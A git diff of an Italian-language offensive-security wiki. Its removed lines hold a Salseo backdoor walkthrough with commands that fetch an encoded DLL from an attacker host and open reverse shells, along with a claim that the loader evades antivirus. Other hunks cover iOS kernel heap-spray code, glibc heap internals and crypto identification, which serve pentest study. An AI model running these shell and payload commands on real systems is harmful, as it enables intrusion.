tutto il necessario per eseguire tutto il Salseo: il **EvilDalsa.dll codificato** e il **binario di SalseoLoader.** - -**Carica il binario SalseoLoader.exe sulla macchina. Non dovrebbero essere rilevati da alcun AV...** - -## **Esegui il backdoor** - -### **Ottenere una shell inversa TCP (scaricando dll codificata tramite HTTP)** - -Ricorda di avviare un nc come listener della shell inversa e un server HTTP per servire l'evilsalsa codificato. -``` -SalseoLoader.exe password http:///evilsalsa.dll.txt reversetcp -``` -### **Ottenere una shell inversa UDP (scaricando dll codificata tramite SMB)** - -Ricorda di avviare un nc come listener della shell inversa e un server SMB per servire l'evilsalsa codificato (impacket-smbserver). -``` -SalseoLoader.exe password \\/folder/evilsalsa.dll.txt reverseudp -``` -### **Ottenere una shell inversa ICMP (dll codificata già all'interno della vittima)** - -**Questa volta hai bisogno di uno strumento speciale nel client per ricevere la shell inversa. Scarica:** [**https://github.com/inquisb/icmpsh**](https://github.com/inquisb/icmpsh) - -#### **Disabilita le risposte ICMP:** -``` -sysctl -w net.ipv4.icmp_echo_ignore_all=1 - -#You finish, you can enable it again running: -sysctl -w net.ipv4.icmp_echo_ignore_all=0 -``` -#### Esegui il client: -``` -python icmpsh_m.py "" "" -``` -#### Dentro della vittima, eseguiamo la cosa salseo: -``` -SalseoLoader.exe password C:/Path/to/evilsalsa.dll.txt reverseicmp -``` -## Compilare SalseoLoader come DLL esportando la funzione principale - -Apri il progetto SalseoLoader utilizzando Visual Studio. - -### Aggiungi prima della funzione principale: \[DllExport] - -![](<../images/image (2) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png>) - -### Installa DllExport per questo progetto - -#### **Strumenti** --> **Gestore pacchetti NuGet** --> **Gestisci pacchetti NuGet per la soluzione...** - -![](<../images/image (3) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png>) - -#### **Cerca il pacchetto DllExport (utilizzando la scheda Sfoglia) e premi Installa (e accetta il popup)** - -![](<../images/image (4) (1) (1) (1) (1) (1) (1) (1) (1) (1).png>) - -Nella tua cartella di progetto sono apparsi i file: **DllExport.bat** e **DllExport_Configure.bat** - -### **Dis**installa DllExport - -Premi **Disinstalla** (sì, è strano ma fidati, è necessario) - -![](<../images/image (5) (1) (1) (2) (1).png>) - -### **Esci da Visual Studio ed esegui DllExport_configure** - -Basta **uscire** da Visual Studio - -Poi, vai nella tua **cartella SalseoLoader** ed **esegui DllExport_Configure.bat** - -Seleziona **x64** (se intendi usarlo all'interno di una box x64, questo era il mio caso), seleziona **System.Runtime.InteropServices** (all'interno di **Namespace per DllExport**) e premi **Applica** - -![](<../images/image (7) (1) (1) (1) (1).png>) - -### **Apri di nuovo il progetto con Visual Studio** - -**\[DllExport]** non dovrebbe più essere contrassegnato come errore - -![](<../images/image (8) (1).png>) - -### Compila la soluzione - -Seleziona **Tipo di output = Class Library** (Progetto --> Proprietà SalseoLoader --> Applicazione --> Tipo di output = Class Library) - -![](<../images/image (10) (1).png>) - -Seleziona **piattaforma x64** (Progetto --> Proprietà SalseoLoader --> Compilazione --> Target piattaforma = x64) - -![](<../images/image (9) (1) (1).png>) - -Per **compilare** la soluzione: Compila --> Compila soluzione (All'interno della console di output apparirà il percorso della nuova DLL) - -### Testa la DLL generata - -Copia e incolla la DLL dove vuoi testarla. - -Esegui: -``` -rundll32.exe SalseoLoader.dll,main -``` -Se non appare alcun errore, probabilmente hai un DLL funzionante!! - -## Ottieni una shell usando il DLL - -Non dimenticare di usare un **server** **HTTP** e impostare un **listener** **nc** - -### Powershell -``` -$env:pass="password" -$env:payload="http://10.2.0.5/evilsalsax64.dll.txt" -$env:lhost="10.2.0.5" -$env:lport="1337" -$env:shell="reversetcp" -rundll32.exe SalseoLoader.dll,main -``` -### CMD -``` -set pass=password -set payload=http://10.2.0.5/evilsalsax64.dll.txt -set lhost=10.2.0.5 -set lport=1337 -set shell=reversetcp -rundll32.exe SalseoLoader.dll,main -``` -{{#include ../banners/hacktricks-training.md}} diff --git a/src/binary-exploitation/arbitrary-write-2-exec/README.md b/src/binary-exploitation/arbitrary-write-2-exec/README.md index c9fd207eb..11f28b2aa 100644 --- a/src/binary-exploitation/arbitrary-write-2-exec/README.md +++ b/src/binary-exploitation/arbitrary-write-2-exec/README.md @@ -1 +1,3 @@ -# Scrittura Arbitraria 2 Exec +# Arbitrary Write 2 Exec + +{{#include /banners/hacktricks-training.md}} diff --git a/src/binary-exploitation/ios-exploiting.md b/src/binary-exploitation/ios-exploiting.md index 820b0074d..73c46e1b6 100644 --- a/src/binary-exploitation/ios-exploiting.md +++ b/src/binary-exploitation/ios-exploiting.md @@ -1,12 +1,14 @@ # iOS Exploiting +{{#include /banners/hacktricks-training.md}} + ## Uso fisico dopo la liberazione -Questo è un riassunto del post da [https://alfiecg.uk/2024/09/24/Kernel-exploit.html](https://alfiecg.uk/2024/09/24/Kernel-exploit.html); ulteriori informazioni sull'exploit utilizzando questa tecnica possono essere trovate in [https://github.com/felix-pb/kfd](https://github.com/felix-pb/kfd) +Questo è un riassunto del post da [https://alfiecg.uk/2024/09/24/Kernel-exploit.html](https://alfiecg.uk/2024/09/24/Kernel-exploit.html) inoltre ulteriori informazioni su exploit che utilizzano questa tecnica possono essere trovate in [https://github.com/felix-pb/kfd](https://github.com/felix-pb/kfd) ### Gestione della memoria in XNU -Lo **spazio degli indirizzi di memoria virtuale** per i processi utente su iOS va da **0x0 a 0x8000000000**. Tuttavia, questi indirizzi non mappano direttamente la memoria fisica. Invece, il **kernel** utilizza **tabelle delle pagine** per tradurre gli indirizzi virtuali in **indirizzi fisici** reali. +Lo **spazio degli indirizzi di memoria virtuale** per i processi utente su iOS va da **0x0 a 0x8000000000**. Tuttavia, questi indirizzi non mappano direttamente alla memoria fisica. Invece, il **kernel** utilizza **tabelle delle pagine** per tradurre gli indirizzi virtuali in **indirizzi fisici** reali. #### Livelli delle Tabelle delle Pagine in iOS @@ -19,7 +21,7 @@ Le tabelle delle pagine sono organizzate gerarchicamente in tre livelli: * Una voce qui rappresenta una regione più piccola di memoria virtuale, specificamente **0x2000000 byte** (32 MB). * Una voce L1 può puntare a una tabella L2 se non può mappare l'intera regione da sola. 3. **Tabella delle Pagine L3 (Livello 3)**: -* Questo è il livello più fine, dove ogni voce mappa una singola pagina di memoria **4 KB**. +* Questo è il livello più fine, dove ogni voce mappa una singola pagina di memoria di **4 KB**. * Una voce L2 può puntare a una tabella L3 se è necessario un controllo più dettagliato. #### Mappatura della Memoria Virtuale a Fisica @@ -31,20 +33,20 @@ Le tabelle delle pagine sono organizzate gerarchicamente in tre livelli: #### Esempio: Mappatura di un Indirizzo Virtuale -Supponiamo che tu stia cercando di accedere all'indirizzo virtuale **0x1000000000**: +Supponiamo che tu provi ad accedere all'indirizzo virtuale **0x1000000000**: 1. **Tabella L1**: * Il kernel controlla la voce della tabella delle pagine L1 corrispondente a questo indirizzo virtuale. Se ha un **puntatore a una tabella delle pagine L2**, va a quella tabella L2. 2. **Tabella L2**: * Il kernel controlla la tabella delle pagine L2 per una mappatura più dettagliata. Se questa voce punta a una **tabella delle pagine L3**, procede lì. 3. **Tabella L3**: -* Il kernel cerca la voce finale L3, che punta all'**indirizzo fisico** della pagina di memoria effettiva. +* Il kernel cerca la voce finale L3, che punta all'**indirizzo fisico** della pagina di memoria reale. #### Esempio di Mappatura degli Indirizzi Se scrivi l'indirizzo fisico **0x800004000** nel primo indice della tabella L2, allora: -* Gli indirizzi virtuali da **0x1000000000** a **0x1002000000** mappano a indirizzi fisici da **0x800004000** a **0x802004000**. +* Gli indirizzi virtuali da **0x1000000000** a **0x1002000000** mappano agli indirizzi fisici da **0x800004000** a **0x802004000**. * Questa è una **mappatura a blocchi** a livello L2. In alternativa, se la voce L2 punta a una tabella L3: @@ -62,11 +64,11 @@ Un **uso fisico dopo la liberazione** (UAF) si verifica quando: 5. Il kernel può quindi **riallocare questa memoria fisica "liberata"** per altri scopi, come **dati del kernel**. 6. Poiché la mappatura non è stata rimossa, il processo può ancora **leggere e scrivere** in questa memoria fisica. -Ciò significa che il processo può accedere a **pagine di memoria del kernel**, che potrebbero contenere dati o strutture sensibili, consentendo potenzialmente a un attaccante di **manipolare la memoria del kernel**. +Questo significa che il processo può accedere a **pagine di memoria del kernel**, che potrebbero contenere dati o strutture sensibili, consentendo potenzialmente a un attaccante di **manipolare la memoria del kernel**. ### Strategia di Sfruttamento: Heap Spray -Poiché l'attaccante non può controllare quali pagine specifiche del kernel verranno allocate nella memoria liberata, utilizza una tecnica chiamata **heap spray**: +Poiché l'attaccante non può controllare quali specifiche pagine del kernel saranno allocate nella memoria liberata, utilizza una tecnica chiamata **heap spray**: 1. L'attaccante **crea un gran numero di oggetti IOSurface** nella memoria del kernel. 2. Ogni oggetto IOSurface contiene un **valore magico** in uno dei suoi campi, rendendolo facile da identificare. @@ -75,15 +77,15 @@ Poiché l'attaccante non può controllare quali pagine specifiche del kernel ver Ulteriori informazioni su questo in [https://github.com/felix-pb/kfd/tree/main/writeups](https://github.com/felix-pb/kfd/tree/main/writeups) -### Processo di Heap Spray Passo dopo Passo +### Processo di Heap Spray Passo-Passo -1. **Spray degli Oggetti IOSurface**: L'attaccante crea molti oggetti IOSurface con un identificatore speciale ("valore magico"). +1. **Spray di Oggetti IOSurface**: L'attaccante crea molti oggetti IOSurface con un identificatore speciale ("valore magico"). 2. **Scansione delle Pagine Liberate**: Controllano se uno degli oggetti è stato allocato su una pagina liberata. 3. **Leggi/Scrivi nella Memoria del Kernel**: Manipolando i campi nell'oggetto IOSurface, ottengono la capacità di eseguire **letture e scritture arbitrarie** nella memoria del kernel. Questo consente loro di: * Usare un campo per **leggere qualsiasi valore a 32 bit** nella memoria del kernel. -* Usare un altro campo per **scrivere valori a 64 bit**, ottenendo una **primitiva di lettura/scrittura del kernel** stabile. +* Usare un altro campo per **scrivere valori a 64 bit**, ottenendo un **primordiale di lettura/scrittura del kernel** stabile. -Genera oggetti IOSurface con il valore magico IOSURFACE_MAGIC da cercare in seguito: +Genera oggetti IOSurface con il valore magico IOSURFACE\_MAGIC da cercare in seguito: ```c void spray_iosurface(io_connect_t client, int nSurfaces, io_connect_t **clients, int *nClients) { if (*nClients >= 0x4000) return; @@ -140,7 +142,7 @@ return 0; ``` ### Ottenere Read/Write del Kernel con IOSurface -Dopo aver ottenuto il controllo su un oggetto IOSurface nella memoria del kernel (mappato a una pagina fisica liberata accessibile dallo spazio utente), possiamo usarlo per **operazioni di lettura e scrittura arbitrarie nel kernel**. +Dopo aver ottenuto il controllo su un oggetto IOSurface nella memoria del kernel (mappato su una pagina fisica liberata accessibile dallo spazio utente), possiamo usarlo per **operazioni di lettura e scrittura arbitrarie nel kernel**. **Campi Chiave in IOSurface** @@ -197,7 +199,10 @@ iosurface_set_indexed_timestamp_pointer(info.object, orig); 1. **Attivare l'Uso-Fisico Dopo la Liberazione**: Le pagine liberate sono disponibili per il riutilizzo. 2. **Spray degli Oggetti IOSurface**: Allocare molti oggetti IOSurface con un "valore magico" unico nella memoria del kernel. -3. **Identificare l'IOSurface Accessibile**: Localizzare un IOSurface su una pagina liberata che controlli. -4. **Abusare dell'Uso-Fisico Dopo la Liberazione**: Modificare i puntatori nell'oggetto IOSurface per abilitare la **lettura/scrittura** arbitraria del **kernel** tramite i metodi IOSurface. +3. **Identificare IOSurface Accessibile**: Localizzare un IOSurface su una pagina liberata che controlli. +4. **Abusare dell'Uso-Fisico Dopo la Liberazione**: Modificare i puntatori nell'oggetto IOSurface per abilitare la **lettura/scrittura** arbitraria del kernel tramite i metodi IOSurface. -Con queste primitive, l'exploit fornisce **letture a 32 bit** e **scritture a 64 bit** controllate nella memoria del kernel. Ulteriori passaggi di jailbreak potrebbero coinvolgere primitive di lettura/scrittura più stabili, che potrebbero richiedere di bypassare ulteriori protezioni (ad es., PPL su dispositivi arm64e più recenti). +Con queste primitive, l'exploit fornisce **letture a 32 bit** e **scritture a 64 bit** controllate nella memoria del kernel. Ulteriori passaggi per il jailbreak potrebbero coinvolgere primitive di lettura/scrittura più stabili, che potrebbero richiedere di bypassare ulteriori protezioni (ad es., PPL su dispositivi arm64e più recenti). + + +{{#include /banners/hacktricks-training.md}} diff --git a/src/binary-exploitation/libc-heap/README.md b/src/binary-exploitation/libc-heap/README.md index 959cf578d..9f966572f 100644 --- a/src/binary-exploitation/libc-heap/README.md +++ b/src/binary-exploitation/libc-heap/README.md @@ -1,8 +1,10 @@ # Libc Heap +{{#include /banners/hacktricks-training.md}} + ## Heap Basics -L'heap è fondamentalmente il luogo dove un programma può memorizzare dati quando richiede dati chiamando funzioni come **`malloc`**, `calloc`... Inoltre, quando questa memoria non è più necessaria, viene resa disponibile chiamando la funzione **`free`**. +L'heap è fondamentalmente il luogo in cui un programma può memorizzare dati quando richiede dati chiamando funzioni come **`malloc`**, `calloc`... Inoltre, quando questa memoria non è più necessaria, viene resa disponibile chiamando la funzione **`free`**. Come mostrato, si trova subito dopo dove il binario viene caricato in memoria (controlla la sezione `[heap]`): @@ -10,9 +12,9 @@ Come mostrato, si trova subito dopo dove il binario viene caricato in memoria (c ### Basic Chunk Allocation -Quando alcuni dati vengono richiesti per essere memorizzati nell'heap, viene allocato uno spazio nell'heap per essi. Questo spazio apparterrà a un bin e solo i dati richiesti + lo spazio degli header del bin + l'offset della dimensione minima del bin saranno riservati per il chunk. L'obiettivo è riservare la minima memoria possibile senza rendere complicato trovare dove si trova ogni chunk. A tal fine, vengono utilizzate le informazioni sui chunk di metadata per sapere dove si trova ogni chunk utilizzato/libero. +Quando alcuni dati vengono richiesti per essere memorizzati nell'heap, viene allocato uno spazio dell'heap per essi. Questo spazio apparterrà a un bin e solo i dati richiesti + lo spazio degli header del bin + l'offset della dimensione minima del bin saranno riservati per il chunk. L'obiettivo è riservare la minima memoria possibile senza rendere complicato trovare dove si trova ciascun chunk. A tal fine, vengono utilizzate le informazioni sui chunk di metadata per sapere dove si trova ciascun chunk utilizzato/libero. -Ci sono diversi modi per riservare lo spazio principalmente a seconda del bin utilizzato, ma una metodologia generale è la seguente: +Ci sono diversi modi per riservare lo spazio, principalmente a seconda del bin utilizzato, ma una metodologia generale è la seguente: - Il programma inizia richiedendo una certa quantità di memoria. - Se nella lista dei chunk c'è qualcuno disponibile abbastanza grande da soddisfare la richiesta, verrà utilizzato. @@ -29,20 +31,20 @@ Nelle applicazioni **multithreaded**, il gestore dell'heap deve prevenire **race Per affrontare questo problema, l'allocatore di heap ptmalloc2 ha introdotto "arenas", dove **ogni arena** funge da **heap separato** con le proprie **strutture** di dati e **mutex**, consentendo a più thread di eseguire operazioni sull'heap senza interferire tra loro, purché utilizzino arene diverse. -L'arena "principale" predefinita gestisce le operazioni sull'heap per applicazioni a thread singolo. Quando vengono aggiunti **nuovi thread**, il gestore dell'heap assegna loro **arene secondarie** per ridurre la contesa. Prima tenta di collegare ogni nuovo thread a un'arena non utilizzata, creando nuove arene se necessario, fino a un limite di 2 volte il numero di core CPU per sistemi a 32 bit e 8 volte per sistemi a 64 bit. Una volta raggiunto il limite, **i thread devono condividere le arene**, portando a potenziale contesa. +L'arena "principale" predefinita gestisce le operazioni sull'heap per le applicazioni a thread singolo. Quando vengono aggiunti **nuovi thread**, il gestore dell'heap assegna loro **arene secondarie** per ridurre la contesa. Prima tenta di collegare ogni nuovo thread a un'arena non utilizzata, creando nuove arene se necessario, fino a un limite di 2 volte il numero di core CPU per i sistemi a 32 bit e 8 volte per i sistemi a 64 bit. Una volta raggiunto il limite, **i thread devono condividere le arene**, portando a una potenziale contesa. A differenza dell'arena principale, che si espande utilizzando la chiamata di sistema `brk`, le arene secondarie creano "subheaps" utilizzando `mmap` e `mprotect` per simulare il comportamento dell'heap, consentendo flessibilità nella gestione della memoria per operazioni multithreaded. ### Subheaps -I subheaps servono come riserve di memoria per le arene secondarie nelle applicazioni multithreaded, consentendo loro di crescere e gestire le proprie regioni heap separatamente dall'heap principale. Ecco come i subheaps differiscono dall'heap iniziale e come operano: +I subheaps servono come riserve di memoria per le arene secondarie nelle applicazioni multithreaded, consentendo loro di crescere e gestire le proprie regioni di heap separatamente dall'heap principale. Ecco come i subheaps differiscono dall'heap iniziale e come operano: 1. **Heap Iniziale vs. Subheaps**: - L'heap iniziale si trova direttamente dopo il binario del programma in memoria e si espande utilizzando la chiamata di sistema `sbrk`. - I subheaps, utilizzati dalle arene secondarie, vengono creati tramite `mmap`, una chiamata di sistema che mappa una regione di memoria specificata. 2. **Riservazione di Memoria con `mmap`**: - Quando il gestore dell'heap crea un subheap, riserva un grande blocco di memoria tramite `mmap`. Questa riservazione non alloca immediatamente memoria; designa semplicemente una regione che altri processi di sistema o allocazioni non dovrebbero utilizzare. -- Per impostazione predefinita, la dimensione riservata per un subheap è di 1 MB per processi a 32 bit e 64 MB per processi a 64 bit. +- Per impostazione predefinita, la dimensione riservata per un subheap è di 1 MB per i processi a 32 bit e 64 MB per i processi a 64 bit. 3. **Espansione Graduale con `mprotect`**: - La regione di memoria riservata è inizialmente contrassegnata come `PROT_NONE`, indicando che il kernel non ha bisogno di allocare memoria fisica per questo spazio ancora. - Per "crescere" il subheap, il gestore dell'heap utilizza `mprotect` per cambiare i permessi delle pagine da `PROT_NONE` a `PROT_READ | PROT_WRITE`, invitando il kernel ad allocare memoria fisica agli indirizzi precedentemente riservati. Questo approccio graduale consente al subheap di espandersi secondo necessità. @@ -74,7 +76,7 @@ char pad[-3 * SIZE_SZ & MALLOC_ALIGN_MASK]; È importante notare che la **struttura `malloc_state` dell'arena principale** è una **variabile globale nella libc** (quindi si trova nello spazio di memoria della libc).\ Nel caso delle **strutture `malloc_state`** degli heap dei thread, esse si trovano **all'interno del "heap" del proprio thread**. -Ci sono alcune cose interessanti da notare da questa struttura (vedi il codice C qui sotto): +Ci sono alcune cose interessanti da notare su questa struttura (vedi il codice C qui sotto): - `__libc_lock_define (, mutex);` È presente per garantire che questa struttura dell'heap sia accessibile da 1 thread alla volta - Flags: @@ -88,11 +90,11 @@ Ci sono alcune cose interessanti da notare da questa struttura (vedi il codice C #define set_contiguous(M) ((M)->flags &= ~NONCONTIGUOUS_BIT) ``` -- Il `mchunkptr bins[NBINS * 2 - 2];` contiene **puntatori** ai **primi e ultimi chunk** dei **bins** piccoli, grandi e non ordinati (il -2 è perché l'indice 0 non è utilizzato) -- Pertanto, il **primo chunk** di questi bins avrà un **puntatore all'indietro a questa struttura** e l'**ultimo chunk** di questi bins avrà un **puntatore in avanti** a questa struttura. Questo significa fondamentalmente che se puoi **leakare questi indirizzi nell'arena principale** avrai un puntatore alla struttura nella **libc**. +- Il `mchunkptr bins[NBINS * 2 - 2];` contiene **puntatori** ai **primi e ultimi chunk** dei **bins** piccoli, grandi e non ordinati (il -2 è dovuto al fatto che l'indice 0 non è utilizzato) +- Pertanto, il **primo chunk** di questi bins avrà un **puntatore all'indietro a questa struttura** e l'**ultimo chunk** di questi bins avrà un **puntatore in avanti** a questa struttura. Il che significa fondamentalmente che se puoi **leakare questi indirizzi nell'arena principale** avrai un puntatore alla struttura nella **libc**. - Le strutture `struct malloc_state *next;` e `struct malloc_state *next_free;` sono liste collegate di arene - Il chunk `top` è l'ultimo "chunk", che è fondamentalmente **tutto lo spazio rimanente dell'heap**. Una volta che il chunk top è "vuoto", l'heap è completamente utilizzato e deve richiedere più spazio. -- Il chunk `last reminder` proviene da casi in cui un chunk di dimensione esatta non è disponibile e quindi un chunk più grande viene diviso, una parte del puntatore rimanente è collocata qui. +- Il chunk `last reminder` proviene da casi in cui un chunk di dimensione esatta non è disponibile e quindi un chunk più grande viene diviso, una parte del puntatore rimanente è posizionata qui. ```c // From https://github.com/bminor/glibc/blob/a07e000e82cb71238259e674529c37c12dc7d423/malloc/malloc.c#L1812 @@ -157,7 +159,7 @@ struct malloc_chunk* bk_nextsize; typedef struct malloc_chunk* mchunkptr; ``` -Come commentato in precedenza, questi chunk hanno anche alcuni metadati, molto bene rappresentati in questa immagine: +Come commentato in precedenza, questi chunk hanno anche alcuni metadati, molto ben rappresentati in questa immagine:

https://azeria-labs.com/wp-content/uploads/2019/03/chunk-allocated-CS.png

@@ -178,10 +180,10 @@ Inoltre, quando disponibile, i dati dell'utente vengono utilizzati per contenere

https://azeria-labs.com/wp-content/uploads/2019/03/chunk-allocated-CS.png

-> [!NOTE] -> Nota come collegare la lista in questo modo previene la necessità di avere un array in cui ogni singolo chunk è registrato. +> [!TIP] +> Nota come collegare la lista in questo modo previene la necessità di avere un array dove ogni singolo chunk è registrato. -### Puntatori Chunk +### Puntatori ai Chunk Quando viene utilizzato malloc, viene restituito un puntatore al contenuto che può essere scritto (subito dopo le intestazioni), tuttavia, quando si gestiscono i chunk, è necessario un puntatore all'inizio delle intestazioni (metadati).\ Per queste conversioni vengono utilizzate queste funzioni: @@ -261,7 +263,7 @@ return request2size (req); ``` Nota che per calcolare lo spazio totale necessario viene aggiunto `SIZE_SZ` solo 1 volta perché il campo `prev_size` può essere utilizzato per memorizzare dati, quindi è necessario solo l'intestazione iniziale. -### Ottieni dati del chunk e modifica i metadati +### Ottieni dati del chunk e altera i metadati Queste funzioni funzionano ricevendo un puntatore a un chunk e sono utili per controllare/impostare i metadati: @@ -363,7 +365,7 @@ people extending or adapting this malloc. /* Set size at footer (only when chunk is not in use) */ #define set_foot(p, s) (((mchunkptr) ((char *) (p) + (s)))->mchunk_prev_size = (s)) ``` -- Ottieni la dimensione dei dati reali utilizzabili all'interno del chunk +- Ottieni la dimensione dei dati realmente utilizzabili all'interno del chunk ```c #pragma GCC poison mchunk_size #pragma GCC poison mchunk_prev_size @@ -394,9 +396,9 @@ return ptr; ``` ## Esempi -### Esempio Veloce di Heap +### Esempio Rapido di Heap -Esempio veloce di heap da [https://guyinatuxedo.github.io/25-heap/index.html](https://guyinatuxedo.github.io/25-heap/index.html) ma in arm64: +Esempio rapido di heap da [https://guyinatuxedo.github.io/25-heap/index.html](https://guyinatuxedo.github.io/25-heap/index.html) ma in arm64: ```c #include #include @@ -415,7 +417,7 @@ Imposta un breakpoint alla fine della funzione principale e scopriamo dove sono È possibile vedere che la stringa panda è stata memorizzata a `0xaaaaaaac12a0` (che era l'indirizzo fornito come risposta da malloc all'interno di `x0`). Controllando 0x10 byte prima, è possibile vedere che il `0x0` rappresenta che il **chunk precedente non è utilizzato** (lunghezza 0) e che la lunghezza di questo chunk è `0x21`. -Gli spazi extra riservati (0x21-0x10=0x11) provengono dagli **header aggiunti** (0x10) e 0x1 non significa che è stato riservato 0x21B, ma gli ultimi 3 bit della lunghezza dell'attuale intestazione hanno alcuni significati speciali. Poiché la lunghezza è sempre allineata a 16 byte (in macchine a 64 bit), questi bit in realtà non verranno mai utilizzati dal numero di lunghezza. +Gli spazi extra riservati (0x21-0x10=0x11) derivano dagli **header aggiunti** (0x10) e 0x1 non significa che è stato riservato 0x21B, ma gli ultimi 3 bit della lunghezza dell'attuale header hanno alcuni significati speciali. Poiché la lunghezza è sempre allineata a 16 byte (in macchine a 64 bit), questi bit in realtà non verranno mai utilizzati dal numero di lunghezza. ``` 0x1: Previous in Use - Specifies that the chunk before it in memory is in use 0x2: Is MMAPPED - Specifies that the chunk was obtained with mmap() @@ -477,7 +479,7 @@ Poi, dopo aver chiamato il primo thread, quello che chiama malloc, viene creata
-e all'interno di essa si possono trovare alcuni chunk: +e al suo interno si possono trovare alcuni chunk:
@@ -501,3 +503,6 @@ heap-memory-functions/heap-functions-security-checks.md - [https://azeria-labs.com/heap-exploitation-part-1-understanding-the-glibc-heap-implementation/](https://azeria-labs.com/heap-exploitation-part-1-understanding-the-glibc-heap-implementation/) - [https://azeria-labs.com/heap-exploitation-part-2-glibc-heap-free-bins/](https://azeria-labs.com/heap-exploitation-part-2-glibc-heap-free-bins/) + + +{{#include /banners/hacktricks-training.md}} diff --git a/src/burp-suite.md b/src/burp-suite.md deleted file mode 100644 index e5e2a0ab5..000000000 --- a/src/burp-suite.md +++ /dev/null @@ -1,19 +0,0 @@ -{{#include ./banners/hacktricks-training.md}} - -# Payloads di Base - -- **Elenco Semplice:** Solo un elenco contenente un'entrata in ogni riga -- **File di Runtime:** Un elenco letto in runtime (non caricato in memoria). Per supportare elenchi grandi. -- **Modifica del Caso:** Applica alcune modifiche a un elenco di stringhe (Nessuna modifica, in minuscolo, in MAIUSCOLO, in Nome Proprio - Prima lettera maiuscola e il resto in minuscolo-, in Nome Proprio - Prima lettera maiuscola e il resto rimane lo stesso-). -- **Numeri:** Genera numeri da X a Y usando Z come passo o casualmente. -- **Brute Forcer:** Insieme di caratteri, lunghezza minima e massima. - -[https://github.com/0xC01DF00D/Collabfiltrator](https://github.com/0xC01DF00D/Collabfiltrator) : Payload per eseguire comandi e catturare l'output tramite richieste DNS a burpcollab. - -{{#ref}} -https://medium.com/@ArtsSEC/burp-suite-exporter-462531be24e -{{#endref}} - -[https://github.com/h3xstream/http-script-generator](https://github.com/h3xstream/http-script-generator) - -{{#include ./banners/hacktricks-training.md}} diff --git a/src/crypto-and-stego/cryptographic-algorithms/README.md b/src/crypto-and-stego/cryptographic-algorithms/README.md index 3072fab27..6041315d5 100644 --- a/src/crypto-and-stego/cryptographic-algorithms/README.md +++ b/src/crypto-and-stego/cryptographic-algorithms/README.md @@ -1,12 +1,10 @@ # Algoritmi di Crittografia/Compressione -## Algoritmi di Crittografia/Compressione - {{#include ../../banners/hacktricks-training.md}} ## Identificazione degli Algoritmi -Se si termina in un codice **che utilizza shift a destra e a sinistra, xors e diverse operazioni aritmetiche** è altamente probabile che sia l'implementazione di un **algoritmo crittografico**. Qui verranno mostrati alcuni modi per **identificare l'algoritmo utilizzato senza dover invertire ogni passaggio**. +Se si termina in un codice **utilizzando shift a destra e a sinistra, xors e diverse operazioni aritmetiche** è altamente probabile che sia l'implementazione di un **algoritmo crittografico**. Qui verranno mostrati alcuni modi per **identificare l'algoritmo utilizzato senza dover invertire ogni passaggio**. ### Funzioni API @@ -24,7 +22,7 @@ Comprimi e decomprimi un dato buffer. **CryptAcquireContext** -Dai [documenti](https://learn.microsoft.com/en-us/windows/win32/api/wincrypt/nf-wincrypt-cryptacquirecontexta): La funzione **CryptAcquireContext** è utilizzata per acquisire un handle a un particolare contenitore di chiavi all'interno di un particolare fornitore di servizi crittografici (CSP). **Questo handle restituito è utilizzato nelle chiamate alle funzioni CryptoAPI** che utilizzano il CSP selezionato. +Dalla [documentazione](https://learn.microsoft.com/en-us/windows/win32/api/wincrypt/nf-wincrypt-cryptacquirecontexta): La funzione **CryptAcquireContext** è utilizzata per acquisire un handle a un particolare contenitore di chiavi all'interno di un particolare fornitore di servizi crittografici (CSP). **Questo handle restituito è utilizzato nelle chiamate alle funzioni CryptoAPI** che utilizzano il CSP selezionato. **CryptCreateHash** @@ -50,7 +48,7 @@ Puoi cercare qualsiasi altra costante e otterrai (probabilmente) lo stesso risul ### info sui dati -Se il codice non ha alcuna costante significativa, potrebbe essere **in caricamento di informazioni dalla sezione .data**.\ +Se il codice non ha alcuna costante significativa, potrebbe essere **in caricamento informazioni dalla sezione .data**.\ Puoi accedere a quei dati, **raggruppare il primo dword** e cercarlo su Google come abbiamo fatto nella sezione precedente: ![](<../../images/image (531).png>) @@ -64,11 +62,11 @@ In questo caso, se cerchi **0xA56363C6** puoi scoprire che è correlato alle **t È composto da 3 parti principali: - **Fase di inizializzazione/**: Crea una **tabella di valori da 0x00 a 0xFF** (256 byte in totale, 0x100). Questa tabella è comunemente chiamata **Substitution Box** (o SBox). -- **Fase di mescolamento**: Eseguirà un **ciclo attraverso la tabella** creata prima (ciclo di 0x100 iterazioni, di nuovo) modificando ciascun valore con byte **semi-casuali**. Per creare questi byte semi-casuali, viene utilizzata la **chiave RC4**. Le **chiavi RC4** possono essere **tra 1 e 256 byte di lunghezza**, tuttavia di solito si raccomanda che siano superiori a 5 byte. Comunemente, le chiavi RC4 sono lunghe 16 byte. -- **Fase XOR**: Infine, il testo in chiaro o il testo cifrato è **XORato con i valori creati prima**. La funzione per crittografare e decrittografare è la stessa. Per questo, verrà eseguito un **ciclo attraverso i 256 byte creati** tante volte quanto necessario. Questo è solitamente riconosciuto in un codice decompilato con un **%256 (mod 256)**. +- **Fase di mescolamento**: Eseguirà un **loop attraverso la tabella** creata prima (loop di 0x100 iterazioni, di nuovo) modificando ciascun valore con byte **semi-casuali**. Per creare questi byte semi-casuali, viene utilizzata la **chiave RC4**. Le **chiavi RC4** possono essere **tra 1 e 256 byte di lunghezza**, tuttavia si raccomanda generalmente che siano superiori a 5 byte. Comunemente, le chiavi RC4 sono lunghe 16 byte. +- **Fase XOR**: Infine, il testo in chiaro o il testo cifrato è **XORato con i valori creati prima**. La funzione per crittografare e decrittografare è la stessa. Per questo, verrà eseguito un **loop attraverso i 256 byte creati** tante volte quanto necessario. Questo è solitamente riconosciuto in un codice decompilato con un **%256 (mod 256)**. -> [!NOTE] -> **Per identificare un RC4 in un codice disassemblato/decompilato puoi controllare 2 cicli di dimensione 0x100 (con l'uso di una chiave) e poi un XOR dei dati di input con i 256 valori creati prima nei 2 cicli probabilmente usando un %256 (mod 256)** +> [!TIP] +> **Per identificare un RC4 in un codice disassemblato/decompilato puoi controllare 2 loop di dimensione 0x100 (con l'uso di una chiave) e poi un XOR dei dati di input con i 256 valori creati prima nei 2 loop probabilmente usando un %256 (mod 256)** ### **Fase di Inizializzazione/Substitution Box:** (Nota il numero 256 usato come contatore e come uno 0 è scritto in ciascun posto dei 256 caratteri) @@ -104,7 +102,7 @@ In questo caso, se cerchi **0xA56363C6** puoi scoprire che è correlato alle **t ### Identificazione Nell'immagine seguente nota come la costante **0x9E3779B9** è utilizzata (nota che questa costante è utilizzata anche da altri algoritmi crittografici come **TEA** 